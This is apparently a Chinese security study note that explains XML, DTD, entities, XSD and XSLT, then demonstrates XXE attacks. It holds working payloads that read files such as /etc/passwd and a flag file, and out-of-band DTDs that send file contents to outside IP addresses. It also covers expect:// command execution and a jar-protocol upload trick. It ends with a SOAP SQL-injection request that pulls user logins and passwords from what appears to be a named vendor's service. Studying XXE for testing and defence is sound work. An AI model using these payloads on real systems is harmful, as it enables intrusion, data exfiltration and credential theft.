xml格式上类似于html,可以利用属性值对数据进行标注,所以功能更加强大,使用也更加繁琐复杂,在一些小型项目或者脚本中xml没有yml和json常见
一开始我了解到xml还是ctf的xxe题目,所以就只了解了DTD和Entity实体的一些相关知识,后面发现很多漏洞都需要xml相关的知识,如因为java对外部实体默认没有过多限制,很多java中间件出现过xxe漏洞,xxe漏洞和xml反序列化的waf绕过,soap协议,svg xml 造成的xss等
xml基础 XML 其全称为 Extensible Markup Language ,即可拓展标记语言。
xml基本结构 1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8"?> <site date ="12/11/2007" time ='12:00' > <name > RUNOOB</name > <message > if salary < 1000 then</message > <logo > runoob-logo.png</logo > <desc > 编程学习网站</desc > </site >
DTD和Entity实体 DTD DTD 全称为 Document Type Definition ,即文档类型定义,用于定义 XML 文档的结构,比如指定文档中允许存在哪些元素、元素的内容和属性、元素的嵌套规则 DTD的引用也分为内部引用和外部引用
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to ,from )> <!ELEMENT to (#PCDATA )> <!--元素为文本数据--><!ELEMENT from (#PCDATA )> ]> <note > <to > Alice</to > <from > Bob</from > </note >
Entity实体 XML 中另外一个重要的概念就是实体(Entity )。 ENTITY定义中有SYSTEM就是外部实体,有 % 的就是参数实体,然后内外部实体和通用参数实体两两组合
实体的引用通常以 & 开头且以 ; 结尾,除了参数实体以 % 开头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?xml version="1.0"?> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ENTITY x "Hello" > <!--ENTITY内部实体声明,相当于变量--><!ENTITY % param1 "Hello" > <!--参数实体声明,只能在DTD,即文档类型定义中使用--><!ENTITY file2 SYSTEM "file:///etc/passwd" > <!ENTITY % dtd SYSTEM "combine.dtd" > <!--外部参数实体声明,可以读取外部文件-->%dtd;%int;%send;<!--将参数实体整合到DTD定义中--> ]> <note > <to > &x; </to > <head > &file2;</head > <body > You are a good man</body > </note > <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.98.199.11:7777?p=%file;'>" >
实体编码和CDATA节 实体除了可以作为变量还能对一些特殊字符进行编码
常见特殊字符编码
1 2 3 4 5 & 表示与字符:& (ampersand) ' 表示单引号:' (apostrophe) " 表示双引号:" (quotation mark) < 表示小于号:< (less than) > 表示大于号:> (greater than)
字符实体可以用数字表示任意字符,比如字符 A 可以表示为 A(十进制) 或者 A(十六进制);
<[cdate]>里的内容可以不用实体编码也不会报错,CDATA节中的所有字符都会被当做字符数据
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8"?> <root > <![CDATA[ <hello> <world> 这里放任何内容都是合法的 ]]> <subRoot > </subRoot > </root >
xmlns和xinclude XML命名空间(XML Namespaces)是一种机制,用于避免XML文档中元素和属性名的冲突。
默认命名空间,声明后,当前元素及其子元素(除非另有指定)都属于指定的命名空间。 前缀命名空间,仅适用于使用该前缀的元素和属性。
xinclude 通常指的是在 XML 文档中使用 <前缀:include> 元素来包含外部文件内容,这是 XML Include(XInclude)机制的一部分。它允许你将一个或多个外部文档的内容嵌入到主 XML 文件中,从而实现模块化和复用
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0"?> <note xmlns ="http://www.evilpan.com/note" xmlns:ex ="http://www.example.com/foo" xmlns:xi ="http://www.w3.org/2001/XInclude" > <ex:include parse ="xml" href ="foo.xml" /> <to > Alice</to > <xi:include parse ="xml" href ="foo.xml" /> <from > Bob</from > <ex:message id ="1337" > Foo</ex:message > </note >
XSD XML Schema Definition ,即 XSD。与基于DTD(文档类型定义)的验证相比,XML Schema 提供了更丰富的数据类型支持、更强的约束定义能力以及命名空间的支持。
示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0"?> <note xmlns ="http://mayylu.com" 当前xml 文档的默认命名空间 xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi 前缀的命名空间xsi:schemaLocation ="http://mayylu.com note.xsd" > 使用 xsi:schemaLocation 属性指明命名空间与对应XSD文件的映射 <to > Tove</to > </note > <?xml version="1.0"?> <xs:schema xmlns:xs ="http://www.w3.org/2001/XMLSchema" targetNamespace ="http://mayylu.com" targetNamespace 指定当前 Schema 所定义的元素和类型所属的目标命名空间xmlns ="http://mayylu.com" 当前xsd 文档的默认命名空间 elementFormDefault ="qualified" > qualified要求XML实例中的所有局部元素都必须属于targetNamespace。<xs:element name ="note" > <xs:complexType > <xs:sequence > <xs:element name ="to" type ="xs:string" /> </xs:sequence > </xs:complexType > </xs:element > </xs:schema >
xsd文档 的 targetNamespace+name,与c+节点名对应,然后安装规则进行验证
但是很多 XML Schema 处理器在加载 Schema 时,并不会先严格验证 targetNamespace 是否匹配,而是先解析整个 XSD 文档。XXE 就发生在解析 XSD 文档这个阶段,所以有的时候命名空间不匹配也不会影响xxe
XSLT XSLT 全称为 Extensible Stylesheet Language Transformations ,主要用于编写样式表将 XML 转换为其他格式的文档,如 XHTML、JSON、文本等。XSLT 也是基于 XML 的,但具备强大的灵活性和扩展性。不仅可以用于文档转换,还常被用于数据清洗、报告生成以及数据的提取和重组等任务。 XSLT 单独保存为文件时可以是 .xsl 或者 .xslt 后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/" > 当匹配到哪个节点时,执行下面模板。/就是整个文档 <html > <body > <h1 > Note</h1 > <p > To: <xsl:value-of select ="note/to" /> </p > select里面写的是XPath表达式 <p > From: <xsl:value-of select ="note/from" /> </p > select也可以调用内部函数 <xsl:value-of select ="system-property('xsl:version')" /> XSLT版本 <xsl:value-of select ="system-property('xsl:vendor')" /> XSLT 引擎信息 <xsl:value-of select ="system-property('xsl:vendor-url')" /> </body > </html > </xsl:template > </xsl:stylesheet >
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet href="note.xsl" type="text/xsl"?> <note > <to > Alice</to > <from > Bob</from > </note >
xxe XXE的全称是 XML External Entity Injection ,即 XML外部实体注入 各web后端语言一般防止xxe的方法就是禁用外部实体
文件读取 有回显 1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY js SYSTEM "file:///E:/user/Desktop/flag.txt" > ]> <comment > <text > &js; </text > </comment >
禁用外部实体,但是打开了XInclude,如 setXIncludeAware(true),也可以任意文件读取
1 2 3 <foo xmlns:xi ="http://www.w3.org/2001/XInclude" > <xi:include parse ="text" href ="file:///etc/hosts" /> </foo >
特殊字符 如果读取的文件出现特殊字符影响到xml标签解析了就会报错或者返回空,比如说是html或者xml文件,或者是带有& > <的字符
在php中,可以通过php://filter的方式对文件进行编码,然后带出:
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=flag.txt" > ]> <data > <a > &read; </a > </data >
如果是java环境,可以使用CDATA带出特殊符号 除非是外部dtd,如果是内部dtd,通用实体和参数实体的定义中,不能对参数实体进行引用 所以我们还得写个外部dtd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY % remote SYSTEM "http://127.0.0.1:81/evil.dtd" > %remote; ]> <comment > <text > &js; </text > </comment > evil.dtd <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///E:/user/Desktop/flag.txt" > <!ENTITY % end "]]>" > <!ENTITY js "%start;%goodies;%end;" >
但是读取的文件有% &CDATA还是会报错,除非后面有;,如 %remote;,但是一般代码里面应该都不会有这些东西
无回显 需要主动访问外部,带出文件数据
进行内部实体嵌套
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 SYSTEM "file:///c:/1.txt" > <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>" > %param2; % param222; ]>
有些解释器不允许在内层实体中使用外部连接
绕过方法 将嵌套的实体声明放入到一个外部文件中,绕过检测(请求两次外部实体)1 2 3 4 5 6 7 8 9 10 <!DOCTYPE convert [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > <!ENTITY % remote SYSTEM "http://124.220.165.133:9901/text.dtd" > %remote;%int;%send; ]> file.dtd : <!ENTITY % int "<!ENTITY % send SYSTEM 'http://124.220.165.133:9901?p=%file;'>" >
回显方法
监听端口
nc -lvvp 7777
在服务器上 python3 -m http.server 81 2. 或者查看日志
1 2 124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] "GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0" 404 466 "-" "-" [Sun Feb 19 08:47:08.149766 2023] [:error] [pid 2113] [client 124.223.158.81:53652] script '/var/www/html/x.php' not found or unable to stat
使用php脚本配合外带数据1 2 3 4 5 6 7 8 <?php $content = $_GET ['1' ];if (isset ($content )){ file_put_contents('flag.txt' ,'更新时间:' .date("Y-m-d H:i:s" )."\n" .$content ); }else { echo 'no data input' ; }
特殊字符 http协议最大的问题是换行符报错,这意味着文件读取不能读取多行数据,php还好,还能编码,但是对于java就这一个限制导致xxe 外带变得是否的鸡肋
ftp打法(<7u131 <8u131-b09) 数据中不能包含%和&,如果有’或”需要调整evil.dtd中包裹ftp://的引号类型,不然会报错。?和#会导致数据截断。 使用工具:https://github.com/LandGrey/xxe-ftp-server,即使用FTP协议来向外传递数据
smb协议外带多行(只能win系统) 真正发起 SMB 通信的是 Windows SMB 客户端,而不是 Java 自己实现了 SMB。即在win,file://\\\\为smb协议
https://github.com/cwkiller/xxe-smb-server
jar协议上传文件 java中的xxe还支持jar://协议,格式为jar:{url}!{path},能从远程获取 jar 文件 jar 协议处理文件的过程:
1 2 3 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "jar:http://192.168.111.1:9090/calc.jar!/test.txt" > ]> <root>&xxe;</root>
使用https://github.com/pwntester/BlockingServer,提供一个会阻塞连接的 HTTP 文件服务器。等待操作者手动输入 Q 才释放连接,因此临时文件不会被删除
然后用Java中的file协议列目录得到临时文件名,一般windows下的临时文件是在C:\Users\用户名\AppData\Local\Temp,linux下的临时文件是在/tmp
但是在JDK 9 开始 对 JarURLConnection、ZIP/JAR 处理、HTTP 下载和资源管理进行了整体重构 反正我用jdk 17没有复现成功
PHP expect RCE 由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
示例代码:
1 2 3 4 <!DOCTYPE root [<!ENTITY cmd SYSTEM "expect://id" > ]> <dir > <file > &cmd; </file > </dir >
基于HTTP的XML数据传输 php 写XML 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0 ); libxml_disable_entity_loader (false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom ->loadXML($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom ); echo $creds ; ?>
Java中的漏洞场景 具体函数参考https://1diot9.github.io/2025/11/18/XXE%E6%95%B4%E7%90%86/#%E5%90%84%E4%B8%AA%E5%BA%93%E4%B8%AD%E7%9A%84XXE
但是其中unmarshal的说法我感觉不准确,Unmarshaller 本身并不会解析 XML,它需要依赖底层解析器将 XML 转换成事件或对象,再完成 Java Bean 的映射。 Unmarshaller并不是无漏洞,而是在上述代码中unmarshal(InputStream)调用的是JAXB 内部创建解析器,该解析器默认禁用了外部实体
下述代码把 XML 解析工作交给了外部创建的 XMLInputFactory,其安全性完全取决于该工厂是否禁用了 DTD 和外部实体
1 2 3 4 5 6 7 8 9 10 11 var jc = JAXBContext.newInstance(Comment.class);var xif = XMLInputFactory.newInstance();xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false ); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false ); var xsr = xif.createXMLStreamReader(new StringReader(xml));var unmarshaller = jc.createUnmarshaller();unmarshaller.unmarshal(xsr);
soap协议 1 2 3 4 5 6 7 Web Services(Web服务) | --------------------------------- | | SOAP REST | | Apache Axis/CXF Spring MVC/JAX-RS
SOAP协议是一种基于XML的消息传递协议,它通常被用于在网络上交换结构化的信息。SOAP消息由XML构成,可以在HTTP、SMTP等多种协议上进行传输,常用于应用程序之间的通信
CXF Apache CXF 是一个开源的服务框架,用于构建和开发服务导向架构(SOA)和Web服务。它支持多种协议(如SOAP和REST)和数据格式(如XML和JSON),并且提供了丰富的工具和库来简化服务的创建和消费。CXF允许开发者快速构建可靠和高效的Web服务应用程序,并集成了许多功能,如安全、事务管理和消息处理,下面用cxf演示soap协议
配置 CXF 和 Spring是十分兼容的,只需要在spring的基础在servlet里上加几个标签,配置文件中加几行注释,就能完成soap接口的注册
设置接口类
1 2 3 4 5 6 7 8 9 10 11 @WebService( name = "CarReportService", targetNamespace = "http://carReport.webservice.dssc.dahua.com" ) public interface CarReportService { @WebMethod @WebResult( name = "result" // 返回值对应 SOAP Body 中 XML 标签名称 <result>......</result> ) String getFlowStatisticsQuery (@WebParam(name = "searchJson") String var1) ;
配置路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <servlet > <servlet-name > CXFServlet</servlet-name > <servlet-class > org.apache.cxf.transport.servlet.CXFServlet </servlet-class > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > CXFServlet</servlet-name > <url-pattern > /services/*</url-pattern > </servlet-mapping > <bean id ="carReportServiceImpl" class ="com.dahua.dssc.webservice.carReport.CarReportServiceImpl" /> <jaxws:endpoint id ="carReportService" implementor ="#carReportServiceImpl" address ="/carReport" />
WSDL WSDL是一种描述Web服务的XML格式的语言,定义了服务的接口,包括操作、消息、数据类型等。 上面配置好后访问/portal/services/carReport?wsdl 即可查看wsdl 格式: WSDL文档描述了Web服务的功能和结构,并提供了如何与服务进行交互的说明。它定义了服务的可用操作、消息格式、数据类型、端点地址等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <wsdl:definitions targetNamespace ="命名空间" > <wsdl:types > <element name ="AdminService" type ="xsd:anyType" /> xsd:anyType <element name ="AdminServiceReturn" type ="xsd:anyType" /> </wsdl:types > <wsdl:message name ="AdminServiceRequest" > <wsdl:part element ="impl:AdminService" name ="part" > </wsdl:part > </wsdl:message > <wsdl:message name ="AdminServiceResponse" > <wsdl:part element ="impl:AdminServiceReturn" name ="AdminServiceReturn" > </wsdl:part > </wsdl:message > <wsdl:portType name ="Admin" > <wsdl:operation name ="AdminService" > <wsdl:input message ="impl:AdminServiceRequest" name ="AdminServiceRequest" > </wsdl:input > <wsdl:output message ="impl:AdminServiceResponse" name ="AdminServiceResponse" > </wsdl:output > </wsdl:operation > </wsdl:portType > <wsdl:binding name ="AdminServiceSoapBinding" type ="impl:Admin" > <wsdlsoap:binding style ="document" transport ="http://schemas.xmlsoap.org/soap/http" /> <wsdl:operation name ="AdminService" > <wsdlsoap:operation soapAction ="" /> <wsdl:input name ="AdminServiceRequest" > <wsdlsoap:body use ="literal" /> </wsdl:input > <wsdl:output name ="AdminServiceResponse" > <wsdlsoap:body use ="literal" /> </wsdl:output > </wsdl:operation > </wsdl:binding > <wsdl:service name ="AdminService" > <wsdl:port binding ="impl:AdminServiceSoapBinding" name ="AdminService" > <wsdlsoap:address location ="http://**.***.***.cn/payment/services/AdminService" /> </wsdl:port > </wsdl:service > </wsdl:definitions >
从service反着推就行了
使用soap协议访问 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /portal/services/itcBulletin?wsdl HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Connection: close Content-Length: 345 Accept-Encoding: gzip <s11:Envelope xmlns:s11 ='http://schemas.xmlsoap.org/soap/envelope/' > <s11:Body > <ns1:deleteBulletin xmlns:ns1 ='http://itcbulletinservice.webservice.dssc.dahua.com' > <netMarkings > (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1 </netMarkings > </ns1:deleteBulletin > </s11:Body > </s11:Envelope >
也可以使用RESTful风格直接访问/portal/services/itcBulletin/deleteBulletin/netMarkings/(updatexml(1%2Cconcat(0x7e%2C(select substr(group_concat(login_name%2C " "%2Clogin_pass)%2C1%2C30) from sys_user)%2C0x7e)%2C1))) and (1%3D1
返回数据包
1 2 3 4 5 6 7 8 9 10 <soap:Envelope > <soap:Body > <soap:Fault > <faultcode > soap:Server</faultcode > <faultstring > ..................... </faultstring > </soap:Fault > </soap:Body > </soap:Envelope >